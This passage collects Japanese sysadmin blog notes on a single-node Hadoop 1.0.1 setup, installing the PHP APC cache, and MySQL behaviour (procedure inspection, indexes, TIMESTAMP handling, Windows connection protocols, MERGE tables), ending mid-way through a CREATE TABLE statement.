[root@colinux local]# id hadoop
uid=503(hadoop) gid=503(hadoop) 所属グループ=503(hadoop)
[root@colinux local]#

[root@colinux local]# su – hadoop
[hadoop@colinux ~]$ ssh-keygen -t dsa -P ” -f ~/.ssh/id_dsa
Generating public/private dsa key pair.
Created directory ‘/home/hadoop/.ssh’.
Your identification has been saved in /home/hadoop/.ssh/id_dsa.
Your public key has been saved in /home/hadoop/.ssh/id_dsa.pub.
The key fingerprint is:
d0:5c:57:22:9b:8e:38:97:e4:47:0f:ac:08:13:4c:ae hadoop@colinux
[hadoop@colinux ~]$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys
[hadoop@colinux ~]$ chmod 600 ~/.ssh/authorized_keys
[hadoop@colinux ~]$

[hadoop@colinux ~]$ ssh localhost
The authenticity of host ‘localhost (127.0.0.1)’ can’t be established.
RSA key fingerprint is a2:b7:25:e3:78:61:15:2a:59:ed:fb:9f:1c:e7:94:db.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘localhost’ (RSA) to the list of known hosts.
[hadoop@colinux ~]$exit
[hadoop@colinux ~]$ ssh localhost
Last login: Sat May 12 12:31:20 2012 from localhost.localdomain
[hadoop@colinux ~]$

[hadoop@colinux ~]$ ls -l /usr/java/
合計 4
lrwxrwxrwx 1 root root 16 2012-05-12 08:11 default -> /usr/java/latest
drwxr-xr-x 7 root root 4096 2012-05-12 08:11 jdk1.6.0_32
lrwxrwxrwx 1 root root 21 2012-05-12 08:11 latest -> /usr/java/jdk1.6.0_32
[hadoop@colinux ~]$

【HADOOP設定ファイル変更】

[hadoop@colinux ~]$ cd /usr/local/hadoop-1.0.1/conf/

[hadoop@colinux conf]$ vi hadoop-env.sh
# Set Hadoop-specific environment variables here.
—————————————————-
# The java implementation to use. Required.
# export JAVA_HOME=/usr/lib/j2sdk1.5-sun
export JAVA_HOME=/usr/java/default
# Extra Java CLASSPATH elements. Optional.
# export HADOOP_CLASSPATH=
—————————————————-
[hadoop@colinux conf]$ vi core-site.xml
[hadoop@colinux conf]$ cat core-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<!-- Put site-specific property overrides in this file. -->
<configuration>
    <property>
        <name>fs.default.name</name>
        <value>hdfs://localhost:9000</value>
    </property>
</configuration>

[hadoop@colinux conf]$
[hadoop@colinux conf]$ vi hdfs-site.xml
[hadoop@colinux conf]$ cat hdfs-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<!-- Put site-specific property overrides in this file. -->
<configuration>
    <property>
        <name>dfs.replication</name>
        <value>1</value>
    </property>
</configuration>

[hadoop@colinux conf]$
[hadoop@colinux conf]$ vi mapred-site.xml
[hadoop@colinux conf]$ cat mapred-site.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>
<!-- Put site-specific property overrides in this file. -->
<configuration>
     <property>
         <name>mapred.job.tracker</name>
         <value>localhost:9001</value>
     </property>
</configuration>

[hadoop@colinux conf]$

【初期設定とサービスの開始】

[hadoop@colinux conf]$ /usr/local/hadoop/bin/hadoop namenode -format
12/05/12 13:05:05 INFO namenode.NameNode: STARTUP_MSG:
/************************************************************
STARTUP_MSG: Starting NameNode
STARTUP_MSG: host = colinux/127.0.0.1
STARTUP_MSG: args = [-format]
STARTUP_MSG: version = 1.0.1
STARTUP_MSG: build = https://svn.apache.org/repos/asf/hadoop/common/branches/branch-1.0 -r 1243785; compiled by ‘hortonfo’ on Tue Feb 14 08:15:38 UTC 2012
************************************************************/
12/05/12 13:05:06 INFO util.GSet: VM type = 32-bit
12/05/12 13:05:06 INFO util.GSet: 2% max memory = 19.33375 MB
12/05/12 13:05:06 INFO util.GSet: capacity = 2^22 = 4194304 entries
12/05/12 13:05:06 INFO util.GSet: recommended=4194304, actual=4194304
12/05/12 13:05:08 INFO namenode.FSNamesystem: fsOwner=hadoop
12/05/12 13:05:08 INFO namenode.FSNamesystem: supergroup=supergroup
12/05/12 13:05:08 INFO namenode.FSNamesystem: isPermissionEnabled=true
12/05/12 13:05:08 INFO namenode.FSNamesystem: dfs.block.invalidate.limit=100
12/05/12 13:05:08 INFO namenode.FSNamesystem: isAccessTokenEnabled=false accessKeyUpdateInterval=0 min(s), accessTokenLifetime=0 min(s)
12/05/12 13:05:08 INFO namenode.NameNode: Caching file names occuring more than 10 times
12/05/12 13:05:09 INFO common.Storage: Image file of size 112 saved in 0 seconds.
12/05/12 13:05:10 INFO common.Storage: Storage directory /tmp/hadoop-hadoop/dfs/name has been successfully formatted.
12/05/12 13:05:10 INFO namenode.NameNode: SHUTDOWN_MSG:
/************************************************************
SHUTDOWN_MSG: Shutting down NameNode at colinux/127.0.0.1
************************************************************/
[hadoop@colinux conf]$

[hadoop@colinux conf]$ /usr/local/hadoop/bin/start-all.sh
starting namenode, logging to /usr/local/hadoop-1.0.1/libexec/../logs/hadoop-hadoop-namenode-colinux.out
localhost: starting datanode, logging to /usr/local/hadoop-1.0.1/libexec/../logs/hadoop-hadoop-datanode-colinux.out
localhost: starting secondarynamenode, logging to /usr/local/hadoop-1.0.1/libexec/../logs/hadoop-hadoop-secondarynamenode-colinux.out
starting jobtracker, logging to /usr/local/hadoop-1.0.1/libexec/../logs/hadoop-hadoop-jobtracker-colinux.out
localhost: starting tasktracker, logging to /usr/local/hadoop-1.0.1/libexec/../logs/hadoop-hadoop-tasktracker-colinux.out
[hadoop@colinux conf]$

[hadoop@colinux conf]$ jps
4689 Jps
4313 SecondaryNameNode
4062 NameNode
4186 DataNode
4561 TaskTracker
4399 JobTracker
[hadoop@colinux conf]$

【基本設定確認】
NameNode
$ http://localhost:50070/
 例) http://192.168.0.2:50070/dfshealth.jsp

JobTracker
$ http://localhost:50030/
 例)http://192.168.0.2:50030/jobtracker.jsp

【サンプルテスト】

[hadoop@colinux hadoop]$ ./bin/hadoop jar hadoop-examples-1.0.1.jar pi 4 1000
Number of Maps = 4
Samples per Map = 1000
Wrote input for Map #0
Wrote input for Map #1
Wrote input for Map #2
Wrote input for Map #3
Starting Job
12/05/12 13:24:36 INFO mapred.FileInputFormat: Total input paths to process : 4
12/05/12 13:24:37 INFO mapred.JobClient: Running job: job_201205121308_0001
12/05/12 13:24:38 INFO mapred.JobClient: map 0% reduce 0%
12/05/12 13:25:35 INFO mapred.JobClient: map 25% reduce 0%
12/05/12 13:25:50 INFO mapred.JobClient: map 50% reduce 0%
12/05/12 13:26:35 INFO mapred.JobClient: map 75% reduce 0%
12/05/12 13:26:54 INFO mapred.JobClient: map 75% reduce 16%
12/05/12 13:27:09 INFO mapred.JobClient: map 100% reduce 25%
12/05/12 13:27:16 INFO mapred.JobClient: map 100% reduce 33%
12/05/12 13:27:29 INFO mapred.JobClient: map 100% reduce 100%
12/05/12 13:27:43 INFO mapred.JobClient: Job complete: job_201205121308_0001
12/05/12 13:27:45 INFO mapred.JobClient: Counters: 30
12/05/12 13:27:45 INFO mapred.JobClient: Job Counters
12/05/12 13:27:45 INFO mapred.JobClient: Launched reduce tasks=1
12/05/12 13:27:45 INFO mapred.JobClient: SLOTS_MILLIS_MAPS=245935
12/05/12 13:27:45 INFO mapred.JobClient: Total time spent by all reduces waiting after reserving slots (ms)=0
12/05/12 13:27:45 INFO mapred.JobClient: Total time spent by all maps waiting after reserving slots (ms)=0
12/05/12 13:27:45 INFO mapred.JobClient: Launched map tasks=4
12/05/12 13:27:45 INFO mapred.JobClient: Data-local map tasks=4
12/05/12 13:27:45 INFO mapred.JobClient: SLOTS_MILLIS_REDUCES=110001
12/05/12 13:27:45 INFO mapred.JobClient: File Input Format Counters
12/05/12 13:27:45 INFO mapred.JobClient: Bytes Read=472
12/05/12 13:27:45 INFO mapred.JobClient: File Output Format Counters
12/05/12 13:27:45 INFO mapred.JobClient: Bytes Written=97
12/05/12 13:27:45 INFO mapred.JobClient: FileSystemCounters
12/05/12 13:27:45 INFO mapred.JobClient: FILE_BYTES_READ=94
12/05/12 13:27:45 INFO mapred.JobClient: HDFS_BYTES_READ=964
12/05/12 13:27:45 INFO mapred.JobClient: FILE_BYTES_WRITTEN=108240
12/05/12 13:27:45 INFO mapred.JobClient: HDFS_BYTES_WRITTEN=215
12/05/12 13:27:45 INFO mapred.JobClient: Map-Reduce Framework
12/05/12 13:27:45 INFO mapred.JobClient: Map output materialized bytes=112
12/05/12 13:27:45 INFO mapred.JobClient: Map input records=4
12/05/12 13:27:45 INFO mapred.JobClient: Reduce shuffle bytes=112
12/05/12 13:27:45 INFO mapred.JobClient: Spilled Records=16
12/05/12 13:27:45 INFO mapred.JobClient: Map output bytes=72
12/05/12 13:27:45 INFO mapred.JobClient: Total committed heap usage (bytes)=816316416
12/05/12 13:27:45 INFO mapred.JobClient: CPU time spent (ms)=44840
12/05/12 13:27:45 INFO mapred.JobClient: Map input bytes=96
12/05/12 13:27:45 INFO mapred.JobClient: SPLIT_RAW_BYTES=492
12/05/12 13:27:45 INFO mapred.JobClient: Combine input records=0
12/05/12 13:27:45 INFO mapred.JobClient: Reduce input records=8
12/05/12 13:27:45 INFO mapred.JobClient: Reduce input groups=8
12/05/12 13:27:45 INFO mapred.JobClient: Combine output records=0
12/05/12 13:27:45 INFO mapred.JobClient: Physical memory (bytes) snapshot=451342336
12/05/12 13:27:45 INFO mapred.JobClient: Reduce output records=0
12/05/12 13:27:45 INFO mapred.JobClient: Virtual memory (bytes) snapshot=1873936384
12/05/12 13:27:45 INFO mapred.JobClient: Map output records=8
Job Finished in 189.673 seconds
Estimated value of Pi is 3.14000000000000000000
[hadoop@colinux hadoop]$

[hadoop@colinux hadoop]$ /usr/local/hadoop/bin/stop-all.sh
stopping jobtracker
localhost: stopping tasktracker
stopping namenode
localhost: stopping datanode
localhost: stopping secondarynamenode
[hadoop@colinux hadoop]$

ジョブ実行中の管理画面①

ジョブ実行中の管理画面②

ジョブ実行中の管理画面③ 実行時間など

ジョブ実行中の管理画面④ その他詳細

ジョブ実行中の管理画面⑤ 

参考サイト
Apache Hadoopプロジェクトとは何か?

Hadoop入門 – Hadoopと高可用性(09-MAY-2012)

Hadoopをインストールし使ってみる(06-APR-2011)

Nagiosで Hadoopを監視する(21-APR-2011)

Gangliaで Hadoopを監視する(22-APR-2011)


コンパイルしたファイルをCacheして、phpの動作を速くする
APC(Alternative PHP Cache)。
IISでコンパイル済みASP、ASPX等をCacheするのと同じような設定という認識。

http://php.net/manual/ja/book.apc.php

[root@ip-xxxxxxxxx ec2-user]# yum install php-pear php-devel http-devel
Loaded plugins: fastestmirror, priorities, security, update-motd
Loading mirror speeds from cached hostfile
* amzn-main: packages.ap-northeast-1.amazonaws.com
* amzn-updates: packages.ap-northeast-1.amazonaws.com
Setting up Install Process
No package http-devel available.
Resolving Dependencies
–> Running transaction check
—> Package php-devel.x86_64 0:5.3.10-1.18.amzn1 will be installed
–> Processing Dependency: autoconf for package: php-devel-5.3.10-1.18.amzn1.x86_64
–> Processing Dependency: automake for package: php-devel-5.3.10-1.18.amzn1.x86_64
—> Package php-pear.noarch 1:1.9.4-4.8.amzn1 will be installed
–> Running transaction check
—> Package autoconf.noarch 0:2.63-5.1.7.amzn1 will be installed
—> Package automake.noarch 0:1.11.1-2.9.amzn1 will be installed
–> Finished Dependency Resolution

その他、gcc,make,PHP dev,apache dev,pcre,apxs関係など
不足していたパッケージインストール。

[root@ip-xxxxxxxxx ec2-user]# pecl install APC
downloading APC-3.1.9.tgz …
Starting to download APC-3.1.9.tgz (155,540 bytes)
……………………………done: 155,540 bytes
54 source files, building
running: phpize
Configuring for:
PHP Api Version: 20090626
Zend Module Api No: 20090626
Zend Extension Api No: 220090626
config.m4:180: warning: AC_CACHE_VAL(PHP_APC_GCC_ATOMICS, …): suspicious cache-id, must contain _cv_ to be cached
../../lib/autoconf/general.m4:1974: AC_CACHE_VAL is expanded from…
../../lib/autoconf/general.m4:1994: AC_CACHE_CHECK is expanded from…
config.m4:180: the top level
config.m4:180: warning: AC_CACHE_VAL(PHP_APC_GCC_ATOMICS, …): suspicious cache-id, must contain _cv_ to be cached
../../lib/autoconf/general.m4:1974: AC_CACHE_VAL is expanded from…
../../lib/autoconf/general.m4:1994: AC_CACHE_CHECK is expanded from…
config.m4:180: the top level
Enable internal debugging in APC [no] :
Enable per request file info about files used from the APC cache [no] :
Enable spin locks (EXPERIMENTAL) [no] :
Enable memory protection (EXPERIMENTAL) [no] :
Enable pthread mutexes (default) [yes] :
Enable pthread read/write locks (EXPERIMENTAL) [no] :
building in /var/tmp/pear-build-rootBND1Ww/APC-3.1.9

…… 省略

Build process completed successfully
Installing ‘/usr/lib64/php/modules/apc.so’
Installing ‘/usr/include/php/ext/apc/apc_serializer.h’
install ok: channel://pecl.php.net/APC-3.1.9
configuration option “php_ini” is not set to php.ini location
You should add “extension=apc.so” to php.ini

[root@ip-xxxxxxxxx ec2-user]# echo “extension=apc.so” > /etc/php.d/apc.ini
[root@ip-xxxxxxxxx ec2-user]# pecl list
Installed packages, channel pecl.php.net:
=========================================
Package Version State
APC 3.1.9 stable
[root@ip-xxxxxxxxx ec2-user]#

[root@ip-xxxxxxxxx ec2-user]# /etc/init.d/httpd restart
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
[root@ip-xxxxxxxxx ec2-user]#

APCの状況確認用ページ 「httpでアクセス出来るところにコピー」
[root@ip-xxxxxxxxx ec2-user]# ls -l /usr/share/pear/apc.php
-rw-r–r– 1 root root 46148 Apr 7 09:17 /usr/share/pear/apc.php
[root@ip-xxxxxxxxx ec2-user]#

APC

APC

[ec2-user@ip-xxxxxxxxx ec2-user]$ php -i | grep apc
Additional .ini files parsed => /etc/php.d/apc.ini,
apc
apc.cache_by_default => On => On
apc.canonicalize => On => On
apc.coredump_unmap => Off => Off
apc.enable_cli => Off => Off
apc.enabled => On => On
apc.file_md5 => Off => Off
apc.file_update_protection => 2 => 2
apc.filters => no value => no value
apc.gc_ttl => 3600 => 3600
apc.include_once_override => Off => Off
apc.lazy_classes => Off => Off
apc.lazy_functions => Off => Off
apc.max_file_size => 1M => 1M
apc.mmap_file_mask => no value => no value
apc.num_files_hint => 1000 => 1000
apc.preload_path => no value => no value
apc.report_autofilter => Off => Off
apc.rfc1867 => Off => Off
apc.rfc1867_freq => 0 => 0
apc.rfc1867_name => APC_UPLOAD_PROGRESS => APC_UPLOAD_PROGRESS
apc.rfc1867_prefix => upload_ => upload_
apc.rfc1867_ttl => 3600 => 3600
apc.serializer => default => default
apc.shm_segments => 1 => 1
apc.shm_size => 32M => 32M
apc.slam_defense => On => On
apc.stat => On => On
apc.stat_ctime => Off => Off
apc.ttl => 0 => 0
apc.use_request_time => On => On
apc.user_entries_hint => 4096 => 4096
apc.user_ttl => 0 => 0
apc.write_lock => On => On
[ec2-user@ip-xxxxxxxxx ec2-user]$


自分が作成した、又は他の人が作成したprocedureの内容を確認したい場合が
業務上あるかと思います。そんな時は以下の方法で確認する事が出来ます。

その1) information_schemaから情報を呼び出す。
該当するテーブルはROUTINESテーブルになります。

information_schema_routines


select ROUTINE_NAME,ROUTINE_DEFINITION
from information_schema.ROUTINES
where ROUTINE_SCHEMA = 'STUDY'
AND ROUTINE_NAME = 'DO_WHILE_TEST'\G

routines

その2) SHOW CREATEステートメントにて確認(information_schemaから情報を得ている)

SHOW CREATE PROCEDURE STUDY.DO_WHILE_TEST\G

show_create_procedure

おまけ) SHOW PROCEDURE STATUSでは内容の確認は出来ないが状態を確認出来る。
SHOW PROCEDURE STATUS LIKE 'DO_WHILE_TEST'\G

show_procedure_status1

参考サイト

21.14. INFORMATION_SCHEMA ROUTINES テーブル


PK以外の通常INDEXのレビュー

————————————————————————
インデックス作成時のインデックス名
————————————————————————

ALTER TABLE … ADD INDEX
インデックス名を指定しないで実行すると, MySQLがインデックスの最初のColumを利用して自動的に名前を付ける。

CREATE INDEX
インデックス名を指定しないで作成しようとするとエラーになる。


mysql> desc test_numbers;
+--------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| number | tinyint(3) unsigned | YES | | NULL | |
| string | char(5) | YES | | NULL | |
| dates | date | YES | | NULL | |
+--------+---------------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> explain select * from test_numbers where string='yahoo';
+----+-------------+--------------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+--------------+------+---------------+------+---------+------+------+-------------+
| 1 | SIMPLE | test_numbers | ALL | NULL | NULL | NULL | NULL | 10 | Using where |
+----+-------------+--------------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

mysql> alter table test_numbers add index idx_tn_string(string);
Query OK, 10 rows affected (0.06 sec)
Records: 10 Duplicates: 0 Warnings: 0

add_index_0

インデックス追加後の実行プラン
add_index_1


mysql> drop index idx_tn_string on test_numbers;
Query OK, 10 rows affected (0.01 sec)
Records: 10 Duplicates: 0 Warnings: 0

mysql> desc test_numbers;
+--------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| number | tinyint(3) unsigned | YES | | NULL | |
| string | char(5) | YES | | NULL | |
| dates | date | YES | | NULL | |
+--------+---------------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> create index idx_tn_string on test_numbers(string);
Query OK, 10 rows affected (0.01 sec)
Records: 10 Duplicates: 0 Warnings: 0

mysql> desc test_numbers;
+--------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| number | tinyint(3) unsigned | YES | | NULL | |
| string | char(5) | YES | MUL | NULL | |
| dates | date | YES | | NULL | |
+--------+---------------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql>

add_index_2

alter tableにてインデックスのDrop


mysql> desc test_numbers;
+--------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| number | tinyint(3) unsigned | YES | | NULL | |
| string | char(5) | YES | MUL | NULL | |
| dates | date | YES | | NULL | |
+--------+---------------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql> alter table test_numbers drop index idx_tn_string;
Query OK, 10 rows affected (0.01 sec)
Records: 10 Duplicates: 0 Warnings: 0

mysql> desc test_numbers;
+--------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+---------------------+------+-----+---------+-------+
| number | tinyint(3) unsigned | YES | | NULL | |
| string | char(5) | YES | | NULL | |
| dates | date | YES | | NULL | |
+--------+---------------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

mysql>

補足: テーブル作成時にインデックスを追加する例


mysql> CREATE TABLE T_WITH_INDX (
-> col1 INT UNSIGNED NOT NULL,
-> col2 CHAR(50) NOT NULL,
-> col3 CHAR(50) NOT NULL,
-> PRIMARY KEY(col1),
-> UNIQUE(col2),
-> INDEX(col3)
-> );
Query OK, 0 rows affected (0.00 sec)

mysql> desc T_WITH_INDX;
+-------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+-------+
| col1 | int(10) unsigned | NO | PRI | NULL | |
| col2 | char(50) | NO | UNI | NULL | |
| col3 | char(50) | NO | MUL | NULL | |
+-------+------------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

index_01

同じ内容で以下のようにインデックスを作成する事も可能


mysql> CREATE TABLE T_WITH_INDX(
-> col1 INT UNSIGNED NOT NULL PRIMARY KEY,
-> col2 CHAR(50) NOT NULL UNIQUE,
-> col3 CHAR(50) NOT NULL,
-> INDEX(col3)
-> );
Query OK, 0 rows affected (0.00 sec)

mysql> desc T_WITH_INDX;
+-------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+-------+
| col1 | int(10) unsigned | NO | PRI | NULL | |
| col2 | char(50) | NO | UNI | NULL | |
| col3 | char(50) | NO | MUL | NULL | |
+-------+------------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql>

DROP INDEXではまとめて複数のインデックスをDROPする事は出来ません。
纏めて削除したい場合は、ALTER TABLE … DROP INDEXを利用する。


TIMESTAMP列はDEFAULTでは、NOT NULLに設定されます。
あらかじめNULL値が入る事を想定している場合は明示的にNULLを
指定してテーブルを作成する。

以下テーブル作成後のALTER TABLEにて属性変更している。


mysql> CREATE TABLE timestamp_null (
-> data_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
-> i INT
-> );
Query OK, 0 rows affected (0.16 sec)

mysql> desc timestamp_null;

+-----------+-----------+------+-----+-------------------+-----------------------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+-------------------+-----------------------------+
| data_time | timestamp | NO | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| i | int(11) | YES | | NULL | |
+-----------+-----------+------+-----+-------------------+-----------------------------+
2 rows in set (0.01 sec)

mysql> ALTER TABLE timestamp_null
-> MODIFY data_time TIMESTAMP NULL
-> DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0

mysql> desc timestamp_null;

+-----------+-----------+------+-----+-------------------+-----------------------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+-------------------+-----------------------------+
| data_time | timestamp | YES | | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| i | int(11) | YES | | NULL | |
+-----------+-----------+------+-----+-------------------+-----------------------------+
2 rows in set (0.00 sec)

mysql>


mysql> INSERT INTO timestamp_null (data_time, i) VALUES (NULL, 10);
Query OK, 1 row affected (0.00 sec)

mysql> SELECT data_time, i FROM timestamp_null;
+-----------+------+
| data_time | i |
+-----------+------+
| NULL | 10 |
+-----------+------+
1 row in set (0.00 sec)

mysql> INSERT INTO timestamp_null (data_time, i) VALUES (now(), 10);
Query OK, 1 row affected (0.00 sec)

mysql> SELECT data_time, i FROM timestamp_null;
+---------------------+------+
| data_time | i |
+---------------------+------+
| NULL | 10 |
| 2009-07-15 04:31:42 | 10 |
+---------------------+------+
2 rows in set (0.00 sec)

mysql>

null_timestamp

TIMESTAMP関連の検証


mysql> CREATE TABLE timestamp_chk (data_time TIMESTAMP NULL);
Query OK, 0 rows affected (0.00 sec)

mysql> desc timestamp_chk;
+-----------+-----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+---------+-------+
| data_time | timestamp | YES | | NULL | |
+-----------+-----------+------+-----+---------+-------+
1 row in set (0.01 sec)

mysql> INSERT INTO timestamp_chk VALUES (NULL);
Query OK, 1 row affected (0.00 sec)

mysql> select * from timestamp_chk;
+-----------+
| data_time |
+-----------+
| NULL |
+-----------+
1 row in set (0.00 sec)

mysql> INSERT INTO timestamp_chk VALUES ('文字列');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+------------------------------------------------+
| Level | Code | Message |
+---------+------+------------------------------------------------+
| Warning | 1265 | Data truncated for column 'data_time' at row 1 |
+---------+------+------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from timestamp_chk;
+---------------------+
| data_time |
+---------------------+
| NULL |
| 0000-00-00 00:00:00 | ← 文字列は対象外なので"0" Valueがinsertされる。
+---------------------+
2 rows in set (0.00 sec)

mysql>

timestamp_check

日付列に12 Digit と14 DigitのNumberをInsertした時の違い


mysql> INSERT INTO timestamp_chk VALUES (200202082139);
Query OK, 1 row affected (0.01 sec)

mysql> select * from timestamp_chk;
+---------------------+
| data_time |
+---------------------+
| NULL |
| 0000-00-00 00:00:00 |
| 2020-02-02 08:21:39 |
+---------------------+
3 rows in set (0.00 sec)

mysql> INSERT INTO timestamp_chk VALUES (20020208213900);
Query OK, 1 row affected (0.00 sec)

mysql> select * from timestamp_chk;
+---------------------+
| data_time |
+---------------------+
| NULL |
| 0000-00-00 00:00:00 |
| 2020-02-02 08:21:39 |
| 2002-02-08 21:39:00 |
+---------------------+
4 rows in set (0.00 sec)

timestamp_digit

無効な日付をINSERTした場合

    ※2月31日は存在しない日付

mysql> INSERT INTO timestamp_chk VALUES ('2002-02-31 23:59:59');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+------------------------------------------------+
| Level | Code | Message |
+---------+------+------------------------------------------------+
| Warning | 1265 | Data truncated for column 'data_time' at row 1 |
+---------+------+------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from timestamp_chk;
+---------------------+
| data_time |
+---------------------+
| NULL |
| 0000-00-00 00:00:00 |
| 2020-02-02 08:21:39 |
| 2002-02-08 21:39:00 |
| 0000-00-00 00:00:00 |
+---------------------+
5 rows in set (0.00 sec)

    ※60秒が指定されている。

mysql> INSERT INTO timestamp_chk VALUES ('2002-02-28 23:59:60');
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+------------------------------------------------+
| Level | Code | Message |
+---------+------+------------------------------------------------+
| Warning | 1265 | Data truncated for column 'data_time' at row 1 |
+---------+------+------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from timestamp_chk;
+---------------------+
| data_time |
+---------------------+
| NULL |
| 0000-00-00 00:00:00 |
| 2020-02-02 08:21:39 |
| 2002-02-08 21:39:00 |
| 0000-00-00 00:00:00 |
| 0000-00-00 00:00:00 |
+---------------------+
6 rows in set (0.00 sec)

mysql>

timestamp_digit_2


普段MYSQLをWindowsで利用する事がないので、一応最低限の
事は知識として知っておこうと思い覚書。。。

MySQL はすべての Windows プラットフォームで TCP/IP をサポートしています。
platforms.mysqld-nt サーバは Windows NT、2000、XP、および 2003 上の名前付きパイプ
をサポートしています。しかし、デフォルトではプラットフォーに関係なく TCP/IP を使用します。
(名前付きパイプは多くの Windows 設定では TCP/IP より低速です。)

名前付きパイプの使用は以下の条件

1) 名前付きパイプはサーバを –enable-named-pipe オプションで起動したときのみ有効
です。このオプションは明示的に使用する必要があります。
2)名前付きパイプの接続は mysqld-nt サーバにのみ可能で、サーバが名前付きパイプを
サポートしている Windows のバージョン (NT、2000、XP、2003) で動作している時のみ
使用できます。
3)これらのサーバは Windows 98 あるいは Me でも動作しますが、TCP/IP がインストール
されている時のみで、名前付き接続は使用できません。
4)これらのサーバは Windows 95 では動作しません。

    接続プロトコルとOSによる接続の違い

==============================================
TCP/IP
==============================================
全てのOSで使用可能
リモート、ローカルで使用可能
--skip-networking optionを指定してMYSQLを起動すると無効になる。

==============================================
Unix Socket file
==============================================
Unix系 OS
ローカル接続のみ
TCP/IPよりパフォーマンスが良い

==============================================
Named pipe
==============================================
Windows OS
ローカル接続のみ
mysql-nt,mysql-max-nt
--enable-named-pipe optionを使用しサーバを起動必要あり
TCP/IPより遅い

==============================================
Shared memory
==============================================
Windows OS
ローカル接続のみ
--shared-memory optionを使用しサーバを起動必要あり

2.3.8. MySQL サーバ タイプの選択


MRG_MyISAMエンジンとしても知られているMERGE ストレージエンジンは、
一つの物として使用する事ができる同一のMyISAM テーブルの集まりです。
「同一の」というのは、全てのテーブルが同一のカラムとインデックス情報
を持つという意味です。カラムのリストされている順番が違っていたり、
カラムが完全に一致していなかったり、インデックスの順番が違っていたりすると
MyISAM テーブルをマージする事はできません。しかし、全てのMyISAM
テーブルはmyisampackで圧縮する事ができます。
AVG_ROW_LENGTH、 MAX_ROWS、または PACK_KEYS 等のようなテーブル
オプションの違いは問題ではありません。

MERGE テーブルを作成する時、MySQLはディスク上に二つファイルを作成します。
そのファイル名はテーブル名で始まり、ファイルタイプを指示する拡張子が付きます。
.frm ファイルはテーブルフォーマットを格納し、
.MRG ファイルは一つの物として使用されるべきテーブルの名前を含んでいます。

———————————————————————
-rw-rw—- 1 mysql mysql 8592 2009-02-24 10:06 Y2008.frm
-rw-rw—- 1 mysql mysql 60 2009-02-24 10:08 Y2008.MYD
-rw-rw—- 1 mysql mysql 3072 2009-02-24 10:08 Y2008.MYI
-rw-rw—- 1 mysql mysql 8592 2009-02-24 10:11 Y2008_Y2009.frm
-rw-rw—- 1 mysql mysql 32 2009-02-24 10:11 Y2008_Y2009.MRG
-rw-rw—- 1 mysql mysql 8592 2009-02-24 10:09 Y2009.frm
-rw-rw—- 1 mysql mysql 36 2009-02-24 10:22 Y2009.MYD
-rw-rw—- 1 mysql mysql 3072 2009-02-24 10:22 Y2009.MYI
———————————————————————


mysql> CREATE TABLE Y2008 (
-> `id` int(11) NOT NULL AUTO_INCREMENT,
-> `comment` varchar(50) DEFAULT NULL,
-> PRIMARY KEY (`id`)
-> ) ENGINE=MYISAM DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.06 sec)

mysql> CREATE UNIQUE INDEX uidx_y2008_comment ON Y2008 (comment);
Query OK, 0 rows affected (0.02 sec)
Records: 0 Duplicates: 0 Warnings: 0

mysql> INSERT INTO Y2008 (comment) VALUES('comment1');
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO Y2008 (comment) VALUES('comment2');
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO Y2008 (comment) VALUES('comment3');
Query OK, 1 row affected (0.00 sec)

mysql> CREATE TABLE Y2009 (
-> `id` int(11) NOT NULL AUTO_INCREMENT,
-> `comment` varchar(50) DEFAULT NULL,
-> PRIMARY KEY (`id`)
-> ) ENGINE=MYISAM DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE UNIQUE INDEX uidx_y2009_comment ON Y2009 (comment);
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0

mysql> CREATE TABLE Y2008_Y2009 (
